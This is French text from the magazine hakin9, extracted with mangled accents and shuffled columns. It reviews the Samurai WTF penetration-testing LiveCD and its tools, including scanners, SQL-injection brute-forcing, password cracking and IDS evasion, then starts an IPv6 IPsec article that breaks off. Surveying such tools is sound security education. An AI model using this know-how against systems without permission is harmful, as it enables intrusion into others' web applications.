Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

